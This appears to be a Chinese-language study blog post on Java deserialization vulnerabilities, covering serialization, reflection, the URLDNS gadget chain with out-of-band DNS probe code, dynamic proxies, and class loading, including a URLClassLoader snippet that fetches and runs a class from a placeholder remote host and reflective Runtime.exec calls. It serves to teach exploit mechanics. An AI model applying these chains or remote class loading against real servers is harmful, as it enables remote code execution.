在Java中,序列化(Serialization)是将对象转换为字节流,从而可以方便地保存到文件、传输到网络或持久化存储;反序列化(Deserialization)则是将字节流重新还原为对象。
注意:如果一个类要支持序列化,必须实现 java.io.Serializable 接口。
序列化与反序列化示例
下面通过一个简单的 Student 类,演示对象的序列化与反序列化过程。
Student类(实现了Serializable接口)
Serializable 接口是java提供的一个序列化接口,它用来标识当前类可以被ObjectOutputStream序列化,以及可以被ObjectInputStream反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import java.io.Serializable;
public class Student implements Serializable { private String name; private int age; private String studentId;
public Student(String name, int age, String studentId) { this.name = name; this.age = age; this.studentId = studentId; }
@Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + ", studentId='" + studentId + '\'' + '}'; } }
|
序列化工具类
ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
1 2 3 4 5 6 7 8 9 10
| import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream;
public class SerializationTest { public static void serialize(Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser")); oos.writeObject(object); } }
|
反序列化工具类
ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
1 2 3 4 5 6 7 8 9 10
| import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
public class UnserializationTest { public static Object unserialize(String filePath) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filePath)); return ois.readObject(); } }
|
Main 测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import java.io.IOException;
public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { Student stu = new Student("John Doe", 20, "S12345");
SerializationTest.serialize(stu);
System.out.println(UnserializationTest.unserialize("object.ser")); } }
|
程序执行后,会在项目目录下生成一个 object.ser 文件(存储的是 Student 对象的字节流)。
反序列化后,会恢复成对象并打印Student类中toString定义的数据格式。
不可序列化的内容
- 静态成员变量是不能被序列化的。静态字段是属于类本身(Class)的,而不是某个对象的状态。序列化是保存对象的实例字段,所以静态字段不会写进字节流。
例如以上的例子,对Student类进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import java.io.Serializable;
public class Student implements Serializable { private String name; private int age; private String studentId;
public static String school = "AAA";
public Student(String name, int age, String studentId) { this.name = name; this.age = age; this.studentId = studentId; }
@Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + ", studentId='" + studentId + '\'' + ", school='" + school + '\'' + '}'; } }
|
此时再执行,并且中途在反序列化之前修改该静态成员变量,发现静态不会被序列化保存,反序列化时使用的是当前类中的静态值”New School”,而不是序列化时的”AAA”:
1 2 3 4 5 6 7 8 9 10 11 12
| import java.io.IOException;
public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { Student stu = new Student("John Doe", 20, "S12345"); SerializationTest.serialize(stu);
Student.school = "New School"; System.out.println(UnserializationTest.unserialize("object.ser")); } }
|
- transient 标识的对象成员变量不参与序列化。修改Student类中的name属性为transient标识,查看输出结果会发现该属性没有被序列化保存。

此时的输出:

为什么反序列化会出现安全问题
服务端接收并反序列化处理数据,就会自动执行类的readObject中的代码,此时攻击者就获得了在服务器上运行代码的能力。
攻击的过程
- 前提条件:类继承Serializable。攻击链中涉及对象需要是可序列化的(Serializable 或 Externalizable),但即使你业务代码没写 Serializable,classpath 上很多 JDK 自带类 / 三方库类早就实现了,这就给攻击者准备了“gadget”。
- 找到入口点。入口(source)可以理解为:程序里调用 ObjectInputStream.readObject()(或 Hessian/Kryo/Jackson/Fastjson 等框架的反序列化 API)的那行代码。也就是说应用的哪一行代码会去“还原对象”。这就是攻击的大门。只要这行代码能处理外部传进来的数据,就可能有问题。
- 找到可被隐式回调的 Gadget。某些类在反序列化过程中会自动调用它的 readObject、readResolve、readExternal,或者集合在重建时会调用 hashCode/equals/compare,甚至日志里会触发 toString。可能这些gadget本身没问题,但一旦放进反序列化过程,就会自己执行一些函数。如果这些函数里调用了危险方法,就被攻击者利用了。
- 拼出Gadget Chain。构造调用链条 gadget chain 通过相同名称、相同类型函数来执行。序列化协议驱动的固定回调 + 各类容器/工具在重建时的固有调用,让对象之间按状态耦合形成链式副作用。
- 找到最终的危险行为点(Sink)。最后的“落点”,可以是命令执行(Runtime.exec)、EL/SPEL 表达式执行、任意文件写入、发起网络请求(SSRF)等。
总结解释: 找到能还原对象的大门(入口) + 利用现成的类做自动调用(积木) + 把积木拼成链条 + 最后引爆危险操作(目标)。
示例—URLDNS链分析(前半段)
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
入口点:
HashMap类可序列化

HashMap类中的readObject方法,最后对传入的输入流调用了hash方法

继续跟踪hash方法,可以发现其中调用了hashCode方法

URL类,发现其是继承了可序列化的接口的:

URL中通常发起请求用的是URL的openConnection()
方法,但是openConnection这个函数名并不是很通用,可能无法帮助我们构造chain,因此可以找一个较为常见的名称的函数,就找到了URL中的hashCode:

其中又调用了URL的协议处理器handler的hashCode,handler是URLStreamHandler类,可以发现,其中对可控的参数URL u执行了getHostAddress
,可以理解为进行了一次DNS的域名解析过程:

此时就可以和先前HashMap类中的hashCode方法串联起来,如果此时HashMap.hashCode中的参数传入的是URL的类,那么就可以构造出链调用到URL类中的getHostAddress方法,触发DNS解析。
根据以上的思路,可以编写一个序列化过程:
1 2 3 4 5 6 7 8
| public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); hashMap.put(new URL("http://r80ati14fh6yphobkjcwzyt87zdq1ip7.oastify.com"), 1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hashMap.ser")); oos.writeObject(hashMap); } }
|
然后序列化过程中会发现,此时我的url也接收到了DNS请求,这是因为在执行到了HashMap的put方法时,也调用了hashCode

那么再来反序列化:
1 2 3 4 5 6
| public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("hashMap.ser")); ois.readObject(); } }
|
奇怪的是,此时进行反序列化时,反而没有触发DNS请求。经分析,这是因为hashCode的逻辑,当URL类中有个属性hashCode,他的初始值为-1
,在hashCode方法中的逻辑,当hashCode为-1时,会直接返回

而在序列化时,执行了put方法后,就改变了hashCode的值,因此此处没有正常执行hashCode。
那么如何解决呢?我们就是希望进行序列化时,不要发起请求,并且希望hashCode属性的值不要被改变,为了实现hashCode属性的值,也就意味着,需要在序列化了以后,改变序列化数据里的属性的值,就需要通过反射来改变已有对象的属性。
Java反射
反射可以在运行时动态的创建实例对象,也就是只有在程序运行时才知道要操作的类是什么,并且可以在运行时获取类的完整结构,并调用对应的方法。
例如引用一个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public class Apple {
private int price;
public int getPrice() { return price; }
public void setPrice(int price) { this.price = price; }
public static void main(String[] args) throws Exception{ Apple apple = new Apple(); apple.setPrice(5); System.out.println("Apple Price:" + apple.getPrice()); Class clz = Class.forName("com.chenshuyi.api.Apple"); Method setPriceMethod = clz.getMethod("setPrice", int.class); Constructor appleConstructor = clz.getConstructor(); Object appleObj = appleConstructor.newInstance(); setPriceMethod.invoke(appleObj, 14); Method getPriceMethod = clz.getMethod("getPrice"); System.out.println("Apple Price:" + getPriceMethod.invoke(appleObj)); } }
|
以上使用反射调用了setPrice方法,并传递了14这个值。之后使用反射调用了getPrice方法输出价格。
反射的作用
- 让java更具有动态性。反射允许在运行时查看和操作类的信息,而不是在编译时就固定。
- 可修改已有对象的属性。反射可以访问和修改对象的字段(包括 private 字段),即使正常情况下不可见。
- 动态生成对象。可以通过
Class.newInstance()
或 Constructor.newInstance()
在运行时动态创建实例。
- 动态调用方法。可以通过 Method.invoke() 调用方法,包括私有方法。
- 操作内部类和私有方法。只要
setAccessible(true)
,反射就能突破 Java 的访问控制机制。
反射在反序列化漏洞中的应用
- 定制需要的对象。反射常被利用来 在 Gadget 链中调用构造函数 / 工厂方法 / setter,从而构造出攻击需要的对象。
- 通过invoke调用除了同名函数以外的函数。在漏洞利用中,invoke 的核心作用是执行任意方法,包括那些原本不会被调用的方法。
- 通过Class类创建对象,引入不能序列化的类。可以利用反射机制间接操作一些类的功能,即使这些类本身不可序列化。
反射示例
Student类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class Student implements Serializable { public String name; private int age; private String studentId;
public static String school = "AAA";
public Student() {
}
public Student(String name, int age, String studentId) { this.name = name; this.age = age; this.studentId = studentId; }
@Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + ", studentId='" + studentId + '\'' + ", school='" + school + '\'' + '}'; }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("echo 'Deserialization in progress'"); }
public void action(String action) { System.out.println("Student " + name + " is performing action: " + action); } }
|
ReflectionTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class Reflectiontest { public static void main(String[] args) throws InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
Student student = new Student(); Class c = student.getClass();
c.newInstance();
Constructor constructor = c.getConstructor(String.class, int.class, String.class); Student s = (Student) constructor.newInstance("John Doe", 20, "S12345"); System.out.println(s);
Field[] studentFields = c.getDeclaredFields(); for (Field field : studentFields) { System.out.println(field); }
Field nameFiled = c.getField("name"); nameFiled.set(s, "Johnny"); System.out.println(s);
Field ageFiled = c.getDeclaredField("age"); ageFiled.setAccessible(true); ageFiled.set(s, 22); System.out.println(s);
Method[] studentMethods = c.getMethods(); for (Method method : studentMethods) { System.out.println(method); }
Method actionMethod = c.getMethod("action", String.class); actionMethod.invoke(s, "run"); } }
|
利用反射进行命令执行
1 2 3 4 5 6 7 8 9 10 11 12
| import java.lang.reflect.Method;
public class ExecViaReflect { public static void main(String[] args) throws Exception { Class c = Class.forName("java.lang.Runtime"); Object o = c.newInstance(); Method m = c.getDeclaredMethod("exec", String.class); m.setAccessible(true); m.invoke(o, "open -a Calculator"); } }
|
示例—URLDNS链分析(后半段)
之前我们出现了执行put时就会导致发起DNS请求的情况,还有反序列化时由于hashCode属性不为默认值,不会正常执行hashCode方法的情况。通过一下思路,在执行put之前,修改hashCode不是默认值,在进行序列化前再将其修改回-1
,思路如下:
1 2 3 4 5 6 7 8 9 10 11
| public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); hashMap.put(new URL("http://r80ati14fh6yphobkjcwzyt87zdq1ip7.oastify.com"), 1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hashMap.ser")); oos.writeObject(hashMap); } }
|
以下是具体实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); URL url = new URL("http://dizw34bqp3gkz3yxu5mi9k3uhlncb9zy.oastify.com"); Class c = url.getClass(); Field hashcodeFile = c.getDeclaredField("hashCode"); hashcodeFile.setAccessible(true); hashcodeFile.set(url, 1); hashMap.put(url, 1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hashMap.ser")); hashcodeFile.set(url, -1); oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("hashMap.ser")); ois.readObject(); } }
|
也就是说,此时如果 HashMap 的参数位置是我们可控的,我们就可以主动构造一个恶意的 HashMap<URL, ?> 对象,并把其中的 URL 设置成我们控制的域名(例如 http://xxxx.oastify.com)。当这个 HashMap 被反序列化时,HashMap.readObject() 内部会触发对 key 的 hashCode() 调用,而 URL.hashCode() 又会引发一次 DNS 解析,从而让目标服务器对我们指定的域名发起请求。
这个行为本身并不会直接导致 RCE,但它证明了反序列化过程确实发生了,并且我们能够控制反序列化对象链的执行。接下来,只要在目标环境中存在可用的 gadget(例如 CommonsCollections、Spring、Groovy 等常见库),我们就可以将 URLDNS 这种“探针链”替换为真正能执行命令的利用链,从而升级为远程代码执行漏洞。
JDK动态代理
代理模式:为其他对象提供一种代理以控制这个对象的访问。
JDK静态代理
JDK 的静态代理,本质上就是 接口 + 实现类 + 代理类 的一种应用模式。它跟“接口与接口实现类的关系”是强绑定的。
静态代理的定义:
- 代理模式的核心思想是:不直接访问目标对象,而是通过代理对象来间接访问。
- JDK 的静态代理必须依赖 接口,代理类和真实实现类都实现同一个接口。
示例
接口:
1 2 3
| public interface UserService { void addUser(String name); }
|
真实实现类:
1 2 3 4 5 6
| public class UserServiceImpl implements UserService { @Override public void addUser(String name) { System.out.println("新增用户:" + name); } }
|
代理类(静态代理):
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class UserServiceProxy implements UserService { private UserService target;
public UserServiceProxy(UserService target) { this.target = target; }
@Override public void addUser(String name) { System.out.println("日志:准备新增用户..."); target.addUser(name); System.out.println("日志:新增用户完毕。"); } }
|
输出结果:
1 2 3
| 日志:准备新增用户... 新增用户:Alice 日志:新增用户完毕。
|
和“接口实现类”的关系:
- 接口(UserService):规范。
- 实现类(UserServiceImpl):真实逻辑。
- 代理类(UserServiceProxy):也实现接口,但在调用真实逻辑前后加了额外的功能(日志、权限校验、事务控制等)。
以上就是JDK的静态代理的概念,可以看出,静态代理的一个缺陷就是,如果接口变了,那么代理中的内容也需要跟着变。如果需要实现的需求是比较重复的情况,代码量就会增大。但是动态代理就可以改进。
JDK动态代理
动态代理的代理类在运行时通过Proxy.newProxyInstance
动态生成,不用手写代理类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy;
public interface UserService { void addUser(String name); }
public class UserServiceImpl implements UserService { @Override public void addUser(String name) { System.out.println("新增用户:" + name); } }
class UserServiceHandler implements InvocationHandler { private Object target;
public UserServiceHandler(Object target) { this.target = target; }
@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("日志:准备执行 " + method.getName()); Object result = method.invoke(target, args); System.out.println("日志:" + method.getName() + " 执行完毕"); return result; } }
public class Main { public static void main(String[] args) { UserService target = new UserServiceImpl();
UserService proxy = (UserService) Proxy.newProxyInstance( target.getClass().getClassLoader(), target.getClass().getInterfaces(), new UserServiceHandler(target) );
proxy.addUser("Bob"); } }
|
可以看出,动态代理不需要单独的写代理类,而是在运行时通过Proxy.newProxyInstance
生成代理类。而且,在动态动态代理调用处理器中可以看出,不需要提前就将需要执行的方法写死,而是通过invoke动态调用需要的方法。
动态代理在反序列化漏洞中有什么好处—场景示例
已知入口:
已知执行目的:
如果 O 是一个普通实现类,那就只能执行 abc() 方法,根本触发不到我们目标的 B.f()。但是如果 O 是一个动态代理对象,那 O.abc() 一定会走到它的 invoke() 方法。而如果当这个 invoke() 的代码里,包含了对 f() 的调用(比如某个 gadget 的 InvocationHandler 在 invoke 中调用了 B.f()),那么当 A 去调用 O.abc() 时,实际上执行的路径是:
1 2 3
| A.entry(O) -> O.abc() -> Proxy.invoke() -> 在 invoke 内部直接调用 B.f()
|
类的动态加载
以下是我修改的Student类,并写了一个demo展示不同阶段会触发的代码部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class Student implements Serializable { public String name; private int age; private String studentId;
public static String school = "AAA";
public Student() { System.out.println("无参构造方法被调用"); }
{ System.out.println("构造代码块被调用"); }
static { System.out.println("静态代码块被调用"); }
public static void staticAction() { System.out.println("静态方法"); }
public Student(String name, int age, String studentId) { this.name = name; this.age = age; this.studentId = studentId; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public class DynamicLoadTest { public static void main(String[] args) throws Exception {
Class<?> clazz1 = Student.class; System.out.println("拿到 Class 对象(不会触发静态代码块)");
Class<?> clazz2 = Class.forName("Student"); System.out.println("使用 Class.forName 触发类加载(静态代码块已执行)");
Student.staticAction(); System.out.println("调用静态方法(不会调用构造方法)");
Object obj = clazz2.getDeclaredConstructor().newInstance(); System.out.println("通过反射创建对象结束");
Student s = new Student("John", 20, "S12345"); System.out.println("直接 new 一个对象结束"); } }
|
静态代码块 (static {})
- 在类第一次被初始化时执行(例如 Class.forName(“Student”) 或第一次使用静态成员)。
- 只执行一次。
静态字段 (public static String school = “AAA”;)
- 跟随类初始化一起执行(和静态代码块同一阶段)。
- 静态字段的赋值只会发生一次。
构造代码块 ({})
- 在每次创建对象时都会执行(不管是 new Student() 还是反射 newInstance())。
- 先于构造方法执行。
静态方法 (staticAction())
- 只有在显式调用时才会执行。
- 调用前类必须已经初始化(即静态代码块已经执行过)。
类加载的底层原理
主要有用的的几个类
- ClassLoader:抽象基类,定义了 loadClass() / findClass() / defineClass()。
- SecureClassLoader:ClassLoader 的子类,增加了安全域检查。
- URLClassLoader:能从指定 URL(本地/网络 JAR、目录)加载类。
- AppClassLoader:URLClassLoader 的子类,负责加载应用的 classpath 下的类。
1. 类加载的几个阶段
- 加载(Loading)
- 通过类的全限定名(如 com.example.Student)找到 .class 字节码,并读入内存。
- 由 ClassLoader 来完成。
- 连接(Linking)
- 验证(字节码是否合法、安全性检查)
- 准备(为静态变量分配内存,赋默认值)
- 解析(符号引用替换为直接引用)
- 初始化(Initialization)
2. ClassLoader 体系
Java 默认的类加载器层次(由下到上,每个类加载器会先委托父类加载器):
- BootstrapClassLoader
- 用 C/C++ 实现,加载核心类库(rt.jar / java.base 模块)。
- ExtClassLoader(扩展类加载器)
- 加载 JAVA_HOME/lib/ext/ 或 -Djava.ext.dirs 下的类。
- AppClassLoader(应用类加载器)
- 自定义 ClassLoader(继承 ClassLoader)
- 可以通过覆盖 findClass() 实现自己的逻辑(比如从网络/数据库加载字节码)。
3. 关键方法
- loadClass(String name, boolean resolve)
- 双亲委派机制入口:先让父加载器尝试加载,如果失败再自己找。
- findClass(String name)
- 子类需要重写的方法,用来告诉 JVM 如何根据类名找到字节码。
- defineClass(String name, byte[] b, int off, int len)
- 把字节码转换成 JVM 能识别的 Class<?> 对象。
流程大概是:
1 2 3 4 5
| AppClassLoader.loadClass() -> 父加载器 (ExtClassLoader.loadClass()) -> 父加载器 (BootstrapClassLoader) -> 如果都找不到,回到当前 ClassLoader.findClass() -> defineClass(字节码转 Class 对象)
|
4. 类加载流程图
1 2 3 4
| ClassLoader.loadClass() └──> 先委托 parent.loadClass() └──> 如果父加载器失败 -> 调用 findClass() └──> findClass() -> defineClass(byte[]) -> JVM 内存里生成 Class<?> 对象
|
类加载流程:AppClassLoader → URLClassLoader → SecureClassLoader → ClassLoader → findClass() → defineClass()
漏洞利用过程可以用到什么
根据类的加载流程,其中有什么是我们可以利用的?
URLClassLoader任意类加载
URLClassLoader可以根据一个URL远程加载类,可以做到任意类加载的操作。
例如我有一个类Test,会执行打开计算器的操作
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException;
public class Test { static { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
那么,利用URLClassLoader即可远程加载一个类:
1 2 3 4 5 6 7 8 9 10 11 12
| import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class LoadClassTest { public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[] {new URL("http://xxx.xxx.xxx.xxx/Test.class")}); Class<?> clazz = urlClassLoader.loadClass("Test"); clazz.newInstance(); } }
|
成功执行后,就会执行打开计算器。
所以说,如果我们能控制到URLClassLoader,就可以通过远程引入任意的类,调用任意的方法。
此处能使用的协议:file/http/jar
defineClass调用任意类
defineClass是一个protected权限的方法,因此需要反射调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public class LoadClassTest { public static void main(String[] args) throws Exception {
ClassLoader cl = ClassLoader.getSystemClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Path testPath = Path.of("Test.class"); byte[] code = Files.readAllBytes(testPath);
defineClassMethod.invoke(cl, "Test", code, 0, code.length);
} }
|
利用了defineClass动态加载字节码的特性,来加载了恶意类。
参考
https://www.bilibili.com/video/BV16h411z7o9?spm_id_from=333.788.top_right_bar_window_custom_collection.content.click
https://blog.csdn.net/mocas_wang/article/details/107621010
https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html
https://www.cnblogs.com/novwind/p/17473445.html